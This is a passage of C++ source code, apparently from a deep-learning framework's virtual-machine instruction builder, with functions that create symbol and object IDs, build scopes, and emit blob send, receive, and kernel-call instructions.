instruction_list->PushBack(instruction.Mutable()); } { auto* eager_symbol = eager_symbol_list->mutable_eager_symbol()->Add(); eager_symbol->set_symbol_id(symbol_id); MutEagerSymbolConf<cfg::ParallelConf>(eager_symbol)->CopyFrom(conf); } return symbol_id; } } // namespace detail Maybe<int64_t> InstructionsBuilder::NewSymbolId() { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("NewSymbol"); int64_t symbol_id = JUST(id_generator_->NewSymbolId()); instruction->add_int64_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewObjectId( const std::shared_ptr<ParallelDesc>& parallel_desc_sym) { int64_t object_id = JUST(id_generator_->NewObjectId()); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("NewObject"); instruction->add_parallel_desc(JUST(parallel_desc_sym->symbol_id())); instruction->add_int64_operand(object_id); instruction_list_->PushBack(instruction.Mutable()); return object_id; } Maybe<void> InstructionsBuilder::RunLazyJob(const one::EagerBlobObjectListPtr& inputs, const one::EagerBlobObjectListPtr& outputs, const one::EagerBlobObjectListPtr& parameters, const std::shared_ptr<NNGraphIf>& nn_graph) const { static std::string instr_name("RunLazyJob"); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(instr_name); *instruction->mutable_phy_instr_operand() = std::make_shared<vm::RunLazyJobPhyInstrOperand>(inputs, outputs, parameters, nn_graph); instruction_list_->EmplaceBack(std::move(instruction)); return Maybe<void>::Ok(); } Maybe<compatible_py::BlobObject> InstructionsBuilder::PackPhysicalBlobsToLogicalBlob( const std::vector<std::shared_ptr<compatible_py::BlobObject>>& physical_blob_objects, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr, const std::shared_ptr<compatible_py::OpArgBlobAttribute>& op_arg_blob_attr) { std::shared_ptr<ParallelDesc> parallel_desc_symbol = op_arg_parallel_attr->parallel_desc_symbol(); std::shared_ptr<HashMap<int64_t, std::shared_ptr<std::vector<int64_t>>>> machine_id2device_ids = parallel_desc_symbol->machine_id2sorted_dev_phy_ids(); std::string device_tag = parallel_desc_symbol->parallel_conf().device_tag(); HashSet<std::pair<int64_t, int64_t>> machine_device_ids; for (const auto& physical_blob_object : physical_blob_objects) { std::shared_ptr<ParallelDesc> phy_paralle_desc_sym = physical_blob_object->parallel_desc_symbol(); CHECK_EQ_OR_RETURN(phy_paralle_desc_sym->parallel_num(), 1); CHECK_EQ_OR_RETURN(phy_paralle_desc_sym->device_tag(), device_tag); std::shared_ptr<HashMap<int64_t, std::shared_ptr<std::vector<int64_t>>>> phy_machine_id2device_ids = phy_paralle_desc_sym->machine_id2sorted_dev_phy_ids(); int64_t machine_id = phy_machine_id2device_ids->begin()->first; machine_device_ids.insert( std::make_pair(machine_id, phy_machine_id2device_ids->at(machine_id)->at(0))); } for (const auto& pair : *machine_id2device_ids) { int64_t machine_id = pair.first; for (const auto& device_id : *(pair.second)) { CHECK(machine_device_ids.find(std::make_pair(machine_id, device_id)) != machine_device_ids.end()); } } std::shared_ptr<compatible_py::BlobObject> logical_blob_object = JUST(NewBlobObject(op_arg_parallel_attr, op_arg_blob_attr)); JUST(ReplaceMirrored(op_arg_parallel_attr->parallel_desc_symbol(), {logical_blob_object}, physical_blob_objects)); return logical_blob_object; } Maybe<StringSymbol> InstructionsBuilder::GetSymbol4String(std::string str) { if (JUST(HasSymbol<std::string>(str))) { return GetSymbol<std::string, StringSymbol>(str); } int64_t symbol_id = JUST(NewSymbolId4String(str)); JUST(AddStringSymbol(symbol_id, str)); return GetSymbol<std::string, StringSymbol>(str); } Maybe<JobDesc> InstructionsBuilder::GetJobConfSymbol( const std::shared_ptr<cfg::JobConfigProto>& job_conf) { if (JUST(HasSymbol<cfg::JobConfigProto>(*job_conf))) { return GetSymbol<cfg::JobConfigProto, JobDesc>(*job_conf); } int64_t symbol_id = JUST(NewSymbolId4JobConf(job_conf)); JUST(AddSymbol<cfg::JobConfigProto, JobConfigProto, JobDesc>(symbol_id, *job_conf)); return GetSymbol<cfg::JobConfigProto, JobDesc>(*job_conf); } Maybe<ParallelDesc> InstructionsBuilder::GetParallelDescSymbol( const std::shared_ptr<cfg::ParallelConf>& parallel_conf) { if (JUST(HasSymbol<cfg::ParallelConf>(*parallel_conf))) { return GetSymbol<cfg::ParallelConf, ParallelDesc>(*parallel_conf); } int64_t symbol_id = JUST(NewSymbolId4ParallelConf(parallel_conf)); JUST(AddSymbol<cfg::ParallelConf, ParallelConf, ParallelDesc>(symbol_id, *parallel_conf)); return GetSymbol<cfg::ParallelConf, ParallelDesc>(*parallel_conf); } Maybe<Scope> InstructionsBuilder::GetScopeSymbol( const std::shared_ptr<cfg::ScopeProto>& scope_proto) { if (JUST(HasSymbol<cfg::ScopeProto>(*scope_proto))) { return GetSymbol<cfg::ScopeProto, Scope>(*scope_proto); } int64_t symbol_id = JUST(NewSymbolId4Scope(scope_proto)); JUST(AddSymbol<cfg::ScopeProto, ScopeProto, Scope>(symbol_id, *scope_proto)); return GetSymbol<cfg::ScopeProto, Scope>(*scope_proto); } Maybe<OperatorConfSymbol> InstructionsBuilder::GetOpConfSymbol( const std::shared_ptr<cfg::OperatorConf>& op_conf) { if (JUST(HasSymbol<cfg::OperatorConf>(*op_conf))) { return GetSymbol<cfg::OperatorConf, OperatorConfSymbol>(*op_conf); } int64_t symbol_id = JUST(NewSymbolId4OpConf(op_conf)); JUST(AddSymbol<cfg::OperatorConf, OperatorConf, OperatorConfSymbol>(symbol_id, *op_conf)); return GetSymbol<cfg::OperatorConf, OperatorConfSymbol>(*op_conf); } Maybe<int64_t> InstructionsBuilder::NewSymbolId4String(std::string str) { int64_t symbol_id = JUST(NewSymbolId()); JUST(InitStringSymbol(symbol_id, str)); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewSymbolId4JobConf( const std::shared_ptr<cfg::JobConfigProto>& job_conf) { int64_t symbol_id = JUST(NewSymbolId()); JUST(InitJobConfSymbol(symbol_id, job_conf)); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewSymbolId4ParallelConf( const std::shared_ptr<cfg::ParallelConf>& parallel_conf) { int64_t symbol_id = JUST(id_generator_->NewSymbolId()); JUST(NewParallelConfSymbol(symbol_id, parallel_conf)); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewSymbolId4Scope( const std::shared_ptr<cfg::ScopeProto>& scope_proto) { int64_t symbol_id = JUST(NewSymbolId()); JUST(NewScopeSymbol(symbol_id, scope_proto)); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewSymbolId4OpConf( const std::shared_ptr<cfg::OperatorConf> op_conf) { int64_t symbol_id = JUST(NewSymbolId()); JUST(InitOpConfSymbol(symbol_id, op_conf)); return symbol_id; } Maybe<compatible_py::BlobObject> InstructionsBuilder::NewBlobObject( const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr, const std::shared_ptr<compatible_py::OpArgBlobAttribute>& op_arg_blob_attr) { int64_t object_id = JUST(NewObjectId(op_arg_parallel_attr->parallel_desc_symbol())); std::shared_ptr<compatible_py::BlobObject> obj = std::make_shared<compatible_py::BlobObject>( object_id, op_arg_parallel_attr, op_arg_blob_attr); obj->add_releaser(release_object_); return obj; } Maybe<int64_t> InstructionsBuilder::NewSymbolId4OpNodeSignature( const std::shared_ptr<cfg::OpNodeSignature>& op_node_signature_sym) { int64_t symbol_id = JUST(NewSymbolId()); JUST(InitOpNodeSignatureDescSymbol(symbol_id, op_node_signature_sym)); return symbol_id; } Maybe<int64_t> InstructionsBuilder::NewSharedOpKernelObjectId4ParallelConfSymbolId( const std::shared_ptr<ParallelDesc>& parallel_desc_sym) { return NewObjectId(parallel_desc_sym); } Maybe<void> InstructionsBuilder::DeleteObject(compatible_py::Object* blob_object) { JUST(_TryClearObject(blob_object)); JUST(_DeleteObject(blob_object)); return Maybe<void>::Ok(); } Maybe<std::vector<std::shared_ptr<ParallelDesc>>> InstructionsBuilder::GetPhysicalParallelDescSymbols( const std::shared_ptr<ParallelDesc>& parallel_desc_symbol) { std::string device_tag = parallel_desc_symbol->parallel_conf().device_tag(); std::vector<std::shared_ptr<ParallelDesc>> phy_parallel_desc_symbols; const auto AppendPhyParallelDescSymbol = [this, &phy_parallel_desc_symbols, &device_tag]( int64_t machine_id, int64_t device_id) -> Maybe<void> { std::shared_ptr<cfg::ParallelConf> parallel_conf = std::make_shared<cfg::ParallelConf>(); parallel_conf->set_device_tag(device_tag); parallel_conf->add_device_name(std::string("@") + std::to_string(machine_id) + ":" + std::to_string(device_id)); phy_parallel_desc_symbols.emplace_back(JUST(GetParallelDescSymbol(parallel_conf))); return Maybe<void>::Ok(); }; for (const int64_t machine_id : parallel_desc_symbol->sorted_machine_ids()) { for (const int64_t device_id : parallel_desc_symbol->sorted_dev_phy_ids(machine_id)) { JUST(AppendPhyParallelDescSymbol(machine_id, device_id)); } } return phy_parallel_desc_symbols; } Maybe<std::vector<std::shared_ptr<compatible_py::OpArgBlobAttribute>>> InstructionsBuilder::GetPhysicalOpArgBlobAttrs( const std::shared_ptr<compatible_py::BlobObject>& logical_blob_object) const { int64_t parallel_num = logical_blob_object->parallel_desc_symbol()->parallel_num(); std::shared_ptr<compatible_py::OpArgBlobAttribute> logical_blob_attr = logical_blob_object->op_arg_blob_attr(); std::shared_ptr<cfg::SbpParallel> sbp_parallel = logical_blob_object->op_arg_parallel_attr()->sbp_parallel(); std::vector<std::shared_ptr<compatible_py::OpArgBlobAttribute>> pyh_op_arg_blob_attrs; if (sbp_parallel->has_split_parallel()) { int64_t split_axis = sbp_parallel->split_parallel().axis(); for (int64_t i = 0; i < parallel_num; ++i) { pyh_op_arg_blob_attrs.emplace_back( logical_blob_attr->GetPhysicalOpArgBlobAttr(split_axis, parallel_num, i)); } } else { for (int64_t i = 0; i < parallel_num; ++i) { pyh_op_arg_blob_attrs.emplace_back(logical_blob_attr); } } return pyh_op_arg_blob_attrs; } Maybe<std::vector<std::shared_ptr<compatible_py::BlobObject>>> InstructionsBuilder::UnpackLogicalBlobToPhysicalBlobs( const std::shared_ptr<compatible_py::BlobObject>& blob_object) { std::vector<std::shared_ptr<ParallelDesc>> phy_parallel_desc_symbols = *JUST(GetPhysicalParallelDescSymbols(blob_object->parallel_desc_symbol())); auto phy_op_arg_blob_attrs = JUST(GetPhysicalOpArgBlobAttrs(blob_object)); const auto GetPhysicalBlob = [this](const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::shared_ptr<compatible_py::OpArgBlobAttribute>& blob_attr) -> Maybe<compatible_py::BlobObject> { std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::MakeMirroredOpArgParallelAttribute(parallel_desc_sym)); std::shared_ptr<compatible_py::BlobObject> pyhsical_blob_object = JUST(NewBlobObject(op_arg_parallel_attr, blob_attr)); return pyhsical_blob_object; }; std::vector<std::shared_ptr<compatible_py::BlobObject>> physical_blob_objects; for (int64_t i = 0; i < phy_parallel_desc_symbols.size(); ++i) { physical_blob_objects.emplace_back(JUST(GetPhysicalBlob( JUST(VectorAt(phy_parallel_desc_symbols, i)), JUST(VectorAt(*phy_op_arg_blob_attrs, i))))); } JUST(ReplaceMirrored(blob_object->parallel_desc_symbol(), physical_blob_objects, {blob_object})); return physical_blob_objects; } Maybe<compatible_py::BlobObject> InstructionsBuilder::MakeReferenceBlobObject( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::shared_ptr<compatible_py::OpArgParallelAttribute>& op_arg_parallel_attr) { std::shared_ptr<ParallelDesc> parallel_desc_symbol = blob_object->parallel_desc_symbol(); CHECK((*parallel_desc_symbol) == (*op_arg_parallel_attr->parallel_desc_symbol())); std::shared_ptr<compatible_py::BlobObject> ref_blob_object = JUST(NewBlobObject(op_arg_parallel_attr, blob_object->op_arg_blob_attr())); JUST(ReplaceMirrored(parallel_desc_symbol, {ref_blob_object}, {blob_object})); return ref_blob_object; } Maybe<void> InstructionsBuilder::ReplaceMirrored( const std::shared_ptr<ParallelDesc>& parallel_desc_sym, const std::vector<std::shared_ptr<compatible_py::BlobObject>>& lhs_objects, const std::vector<std::shared_ptr<compatible_py::BlobObject>>& rhs_objects) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("ReplaceMirrored"); instruction->set_parallel_desc_symbol_id(JUST(parallel_desc_sym->symbol_id())); for (const auto& lhs_object : lhs_objects) { instruction->add_int64_operand(lhs_object->object_id()); } instruction->add_separator(); for (const auto& rhs_object : rhs_objects) { instruction->add_int64_operand(rhs_object->object_id()); } instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<Scope> InstructionsBuilder::BuildInitialScope( int64_t session_id, const std::shared_ptr<cfg::JobConfigProto>& job_conf, const std::string& device_tag, const std::vector<std::string>& machine_device_ids, const std::shared_ptr<Shape>& hierarchy, bool is_mirrored) { std::shared_ptr<cfg::ScopeProto> scope_proto = std::make_shared<cfg::ScopeProto>(); scope_proto->set_session_id(session_id); std::shared_ptr<JobDesc> job_conf_sym = JUST(GetJobConfSymbol(job_conf)); scope_proto->set_job_desc_symbol_id(JUST(job_conf_sym->symbol_id())); std::shared_ptr<cfg::ParallelConf> parallel_conf = JUST(MakeParallelConf(device_tag, machine_device_ids, hierarchy)); std::shared_ptr<ParallelDesc> device_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); scope_proto->set_device_parallel_desc_symbol_id(JUST(device_parallel_desc_sym->symbol_id())); parallel_conf = JUST(MakeParallelConf("cpu", machine_device_ids, hierarchy)); std::shared_ptr<ParallelDesc> host_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); scope_proto->set_host_parallel_desc_symbol_id(JUST(host_parallel_desc_sym->symbol_id())); if (is_mirrored) { scope_proto->mutable_opt_mirrored_parallel_conf()->mutable_mirrored_parallel(); } else { scope_proto->mutable_opt_mirrored_parallel_conf()->clear_mirrored_parallel(); } return GetScopeSymbol(scope_proto); } Maybe<Scope> InstructionsBuilder::BuildScopeWithNewParallelDesc( const std::shared_ptr<Scope>& scope, const std::string& device_tag, const std::vector<std::string>& machine_device_ids, const std::shared_ptr<Shape>& hierarchy) { const auto SetScopeProto = [this, &device_tag, &machine_device_ids, &hierarchy](const std::shared_ptr<cfg::ScopeProto>& scope_proto) { std::shared_ptr<cfg::ParallelConf> parallel_conf = CHECK_JUST(MakeParallelConf(device_tag, machine_device_ids, hierarchy)); std::shared_ptr<ParallelDesc> device_parallel_desc_sym = CHECK_JUST(GetParallelDescSymbol(parallel_conf)); parallel_conf = CHECK_JUST(MakeParallelConf("cpu", machine_device_ids, hierarchy)); std::shared_ptr<ParallelDesc> host_parallel_desc_sym = CHECK_JUST(GetParallelDescSymbol(parallel_conf)); scope_proto->set_device_parallel_desc_symbol_id( CHECK_JUST(device_parallel_desc_sym->symbol_id())); scope_proto->set_host_parallel_desc_symbol_id(CHECK_JUST(host_parallel_desc_sym->symbol_id())); }; return BuildScopeByProtoSetter(scope, SetScopeProto); } Maybe<Scope> InstructionsBuilder::BuildScopeWithNewParallelConf( const std::shared_ptr<Scope>& scope, const std::shared_ptr<cfg::ParallelConf>& parallel_conf) { const std::shared_ptr< std::tuple<std::string, std::vector<std::string>, std::shared_ptr<cfg::ShapeProto>>>& tag_and_dev_ids_and_hierarchy = JUST(GetDeviceTagAndMachineDeviceIdsAndHierarchy(parallel_conf)); std::shared_ptr<Shape> hierarchy; if (std::get<2>(*tag_and_dev_ids_and_hierarchy)) { ShapeProto hierarchy_proto; parallel_conf->hierarchy().ToProto(&hierarchy_proto); hierarchy.reset(new Shape(hierarchy_proto)); } return BuildScopeWithNewParallelDesc(scope, std::get<0>(*tag_and_dev_ids_and_hierarchy), std::get<1>(*tag_and_dev_ids_and_hierarchy), hierarchy); } Maybe<Scope> InstructionsBuilder::BuildScopeWithNewIsMirrored(const std::shared_ptr<Scope>& scope, bool is_mirrored) { const auto SetScopeProto = [is_mirrored](const std::shared_ptr<cfg::ScopeProto>& scope_proto) { if (is_mirrored) { scope_proto->mutable_opt_mirrored_parallel_conf()->mutable_mirrored_parallel(); } else { scope_proto->mutable_opt_mirrored_parallel_conf()->clear_mirrored_parallel(); } }; return BuildScopeByProtoSetter(scope, SetScopeProto); } Maybe<Scope> InstructionsBuilder::BuildScopeWithNewScopeName(const std::shared_ptr<Scope>& scope, std::string scope_name) { const auto SetScopeProto = [&scope_name](const std::shared_ptr<cfg::ScopeProto>& scope_proto) { scope_proto->add_scope_op_name_prefixes(scope_name); }; return BuildScopeByProtoSetter(scope, SetScopeProto); } Maybe<Scope> InstructionsBuilder::BuildScopeByProtoSetter( const std::shared_ptr<Scope>& scope, const std::function<void(const std::shared_ptr<cfg::ScopeProto>&)>& Setter) { std::shared_ptr<cfg::ScopeProto> scope_proto = JUST(scope->MakeChildScopeProto()); Setter(scope_proto); return GetScopeSymbol(scope_proto); } Maybe<compatible_py::BlobObject> InstructionsBuilder::BroadcastBlobReference( const std::shared_ptr<compatible_py::BlobObject>& sole_mirrored_blob_object, const std::shared_ptr<ParallelDesc>& parallel_desc_sym) { std::shared_ptr<HashMap<int64_t, std::shared_ptr<std::vector<int64_t>>>> device_ids = sole_mirrored_blob_object->parallel_desc_symbol()->machine_id2sorted_dev_phy_ids(); for (const auto& pair : *device_ids) { CHECK_EQ_OR_RETURN(pair.second->size(), 1); } int64_t object_id = JUST(BroadcastObjectReference(sole_mirrored_blob_object, parallel_desc_sym)); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::MakeBroadcastOpArgParallelAttribute(parallel_desc_sym)); std::shared_ptr<compatible_py::BlobObject> obj = std::make_shared<compatible_py::BlobObject>( object_id, op_arg_parallel_attr, sole_mirrored_blob_object->op_arg_blob_attr()); obj->add_releaser(release_object_); return obj; } Maybe<int64_t> InstructionsBuilder::BroadcastObjectReference( const std::shared_ptr<compatible_py::BlobObject>& sole_mirrored_object, const std::shared_ptr<ParallelDesc>& parallel_desc_sym) { int64_t object_id = JUST(id_generator_->NewObjectId()); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("BroadcastObjectReference"); instruction->set_parallel_desc_symbol_id(JUST(parallel_desc_sym->symbol_id())); instruction->add_int64_operand(object_id); instruction->add_int64_operand(sole_mirrored_object->object_id()); instruction_list_->PushBack(instruction.Mutable()); return object_id; } Maybe<void> InstructionsBuilder::Build121AssignInstruction( const std::shared_ptr<compatible_py::BlobObject>& ref_blob_object, const std::shared_ptr<compatible_py::BlobObject>& value_blob_object) { int64_t parallel_num = ref_blob_object->parallel_desc_symbol()->parallel_num(); CHECK_EQ_OR_RETURN(parallel_num, value_blob_object->parallel_desc_symbol()->parallel_num()); std::vector<uint64_t> token_id_0; std::vector<uint64_t> token_id_1; for (int64_t i = 0; i < parallel_num; ++i) { token_id_0.emplace_back(NewTokenId()); } for (int64_t i = 0; i < parallel_num; ++i) { token_id_1.emplace_back(NewTokenId()); } std::tuple<std::vector<uint64_t>, std::vector<uint64_t>> token_ids = std::make_tuple(token_id_0, token_id_1); JUST(BuildSendInstruction(ref_blob_object->parallel_desc_symbol(), value_blob_object, token_ids)); JUST(BuildRecvInstruction(value_blob_object->parallel_desc_symbol(), ref_blob_object, token_ids)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::BuildSendInstruction( const std::shared_ptr<ParallelDesc>& dst_parallel_desc_symbol, const std::shared_ptr<compatible_py::BlobObject>& src_blob_object, const std::tuple<std::vector<uint64_t>, std::vector<uint64_t>>& token_ids) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("SendBlob"); instruction->set_parallel_desc_symbol_id( JUST(src_blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_symbol_operand(JUST(dst_parallel_desc_symbol->symbol_id())); instruction->add_const_operand(src_blob_object->object_id()); instruction->add_separator(); for (uint64_t token_id : std::get<0>(token_ids)) { instruction->add_uint64_operand(token_id); } instruction->add_separator(); for (uint64_t token_id : std::get<1>(token_ids)) { instruction->add_uint64_operand(token_id); } instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::BuildRecvInstruction( const std::shared_ptr<ParallelDesc>& src_parallel_desc_symbol, const std::shared_ptr<compatible_py::BlobObject>& dst_blob_object, const std::tuple<std::vector<uint64_t>, std::vector<uint64_t>>& token_ids) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("ReceiveBlob"); instruction->set_parallel_desc_symbol_id( JUST(dst_blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_symbol_operand(JUST(src_parallel_desc_symbol->symbol_id())); instruction->add_mut2_operand(dst_blob_object->object_id()); instruction->add_separator(); for (uint64_t token_id : std::get<0>(token_ids)) { instruction->add_uint64_operand(token_id); } instruction->add_separator(); for (uint64_t token_id : std::get<1>(token_ids)) { instruction->add_uint64_operand(token_id); } instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::LocalCallOpKernel( const std::shared_ptr<one::StatefulLocalOpKernel>& opkernel, const one::EagerBlobObjectListPtr& input_eager_blob_objects, const one::EagerBlobObjectListPtr& output_eager_blob_objects, const one::OpExprInterpContext& ctx, const std::shared_ptr<const ParallelDesc>& parallel_desc_sym, const std::string& instr_type_name) { return LocalCallOpKernel(opkernel, input_eager_blob_objects, output_eager_blob_objects, nullptr, ctx, parallel_desc_sym, instr_type_name); } Maybe<void> InstructionsBuilder::LocalCallOpKernel( const std::shared_ptr<one::StatefulLocalOpKernel>& opkernel, const one::EagerBlobObjectListPtr& input_eager_blob_objects, const one::EagerBlobObjectListPtr& output_eager_blob_objects, const std::shared_ptr<const one::ConsistentTensorInferResult>& consistent_tensor_infer_result, const one::OpExprInterpContext& ctx, const std::shared_ptr<const ParallelDesc>& parallel_desc_sym, const std::string& instr_type_name) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(instr_type_name); auto phy_instr_operand = std::make_shared<vm::LocalCallOpKernelPhyInstrOperand>( opkernel, input_eager_blob_objects, output_eager_blob_objects, consistent_tensor_infer_result, ctx, *one::CurrentDevVmDepObjectConsumeMode()); *instruction->mut_parallel_desc() = parallel_desc_sym; *instruction->mutable_phy_instr_operand() = phy_instr_operand; instruction_list_->EmplaceBack(std::move(instruction)); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::CudaHostRegisterBlob( const std::shared_ptr<compatible_py::BlobObject>& blob_object) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("CudaHostRegisterBlob"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_mut_operand(blob_object->object_id()); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::CudaHostUnregisterBlob( const std::shared_ptr<compatible_py::BlobObject>& blob_object) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("CudaHostUnregisterBlob"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_mut_operand(blob_object->object_id()); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<compatible_py::OpKernelObject> InstructionsBuilder::NewOpKernelObject( const std::shared_ptr<cfg::OperatorConf>& op_conf) { CHECK_OR_RETURN(op_conf->has_scope_symbol_id()); std::shared_ptr<Scope> scope_symbol = JUST(GetSymbol<cfg::ScopeProto, Scope>(op_conf->scope_symbol_id())); std::shared_ptr<OperatorConfSymbol> op_conf_sym = JUST(GetOpConfSymbol(op_conf)); const auto& scope = Global<symbol::Storage<Scope>>::Get()->Get(op_conf->scope_symbol_id()); OperatorConf pb_op_conf; op_conf->ToProto(&pb_op_conf); int64_t parallel_desc_sym_id = JUST(scope.GetParallelDescSymbolId(pb_op_conf)); std::shared_ptr<ParallelDesc> parallel_desc_symbol = JUST(GetSymbol<cfg::ParallelConf, ParallelDesc>(parallel_desc_sym_id)); int64_t object_id = JUST(_NewOpKernelObject(parallel_desc_symbol, scope_symbol->job_desc_symbol(), op_conf_sym)); return std::make_shared<compatible_py::OpKernelObject>(object_id, op_conf, release_object_); } Maybe<void> InstructionsBuilder::LazyReference( const std::shared_ptr<compatible_py::BlobObject>& blob_object, const std::string& interface_op_name) { std::string device_tag = blob_object->parallel_desc_symbol()->device_tag(); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New(device_tag + ".LazyReference"); instruction->set_parallel_desc_symbol_id(JUST(blob_object->parallel_desc_symbol()->symbol_id())); instruction->add_mut_operand(blob_object->object_id()); std::shared_ptr<StringSymbol> interface_op_name_sym = JUST(GetSymbol4String(blob_object->op_arg_blob_attr()->logical_blob_name())); instruction->add_symbol_operand(JUST(interface_op_name_sym->symbol_id())); instruction_list_->PushBack(instruction.Mutable()); return Maybe<void>::Ok(); } Maybe<compatible_py::BlobObject> InstructionsBuilder::MakeLazyRefBlobObject( const std::string& interface_op_name, const std::shared_ptr<cfg::OpAttribute>& op_attribute, const std::shared_ptr<cfg::ParallelConf>& parallel_conf) { CHECK_EQ_OR_RETURN(op_attribute->output_bns().size(), 1); const std::string& obn = op_attribute->output_bns().at(0); std::shared_ptr<ParallelDesc> blob_parallel_desc_sym = JUST(GetParallelDescSymbol(parallel_conf)); OpAttribute pb_op_attribute; op_attribute->ToProto(&pb_op_attribute); std::shared_ptr<compatible_py::OpArgParallelAttribute> op_arg_parallel_attr = JUST(compatible_py::GetOpArgParallelAttribute(blob_parallel_desc_sym, pb_op_attribute, obn)); std::shared_ptr<compatible_py::OpArgBlobAttribute> op_arg_blob_attr = JUST(compatible_py::GetOpArgBlobAttribute(pb_op_attribute, obn)); std::shared_ptr<compatible_py::BlobObject> blob_object = JUST(NewBlobObject(op_arg_parallel_attr, op_arg_blob_attr)); JUST(LazyReference(blob_object, interface_op_name)); return blob_object; } Maybe<compatible_py::Object> InstructionsBuilder::GetSharedOpKernelObject4ParallelConfSymbol( const std::shared_ptr<ParallelDesc>& parallel_desc_sym) { if (JUST(HasSharedOpKernelObject4ParallelConfSymbol(parallel_desc_sym))) { return GetOpKernelObject4ParallelConfSymbol(parallel_desc_sym); } int64_t object_id = JUST(NewSharedOpKernelObjectId4ParallelConfSymbolId(parallel_desc_sym)); std::shared_ptr<compatible_py::Object> obj = std::make_shared<compatible_py::Object>(object_id, parallel_desc_sym); JUST(SetSharedOpKernelObject4ParallelConfSymbol(parallel_desc_sym, obj)); return obj; } Maybe<void> InstructionsBuilder::InitStringSymbol(int64_t symbol_id, std::string str) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitStringSymbol"); instruction->add_init_symbol_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.set_string_symbol(str); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::InitJobConfSymbol( int64_t symbol_id, const std::shared_ptr<cfg::JobConfigProto>& job_conf) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitJobDescSymbol"); instruction->add_init_symbol_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.mutable_job_conf_symbol()->CopyFrom(*job_conf); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::NewParallelConfSymbol( int64_t symbol_id, const std::shared_ptr<cfg::ParallelConf>& parallel_conf) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("NewParallelDescSymbol"); instruction->add_int64_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.mutable_parallel_conf_symbol()->CopyFrom(*parallel_conf); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<void> InstructionsBuilder::NewScopeSymbol( int64_t symbol_id, const std::shared_ptr<cfg::ScopeProto>& scope_proto) { ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitScopeSymbol"); instruction->add_init_symbol_operand(symbol_id); instruction_list_->PushBack(instruction.Mutable()); vm::cfg::EagerSymbol eager_symbol; eager_symbol.set_symbol_id(symbol_id); eager_symbol.mutable_scope_symbol()->CopyFrom(*scope_proto); eager_symbol_list_->mutable_eager_symbol()->Add()->CopyFrom(eager_symbol); return Maybe<void>::Ok(); } Maybe<int64_t> InstructionsBuilder::_NewOpKernelObject( const std::shared_ptr<ParallelDesc>& parallel_desc_symbol, const std::shared_ptr<JobDesc>& job_desc_sym, const std::shared_ptr<OperatorConfSymbol>& op_conf_sym) { int64_t object_id = JUST(NewObjectId(parallel_desc_symbol)); ObjectMsgPtr<vm::InstructionMsg> instruction = ObjectMsgPtr<vm::InstructionMsg>::New("InitOpKernelObject"); 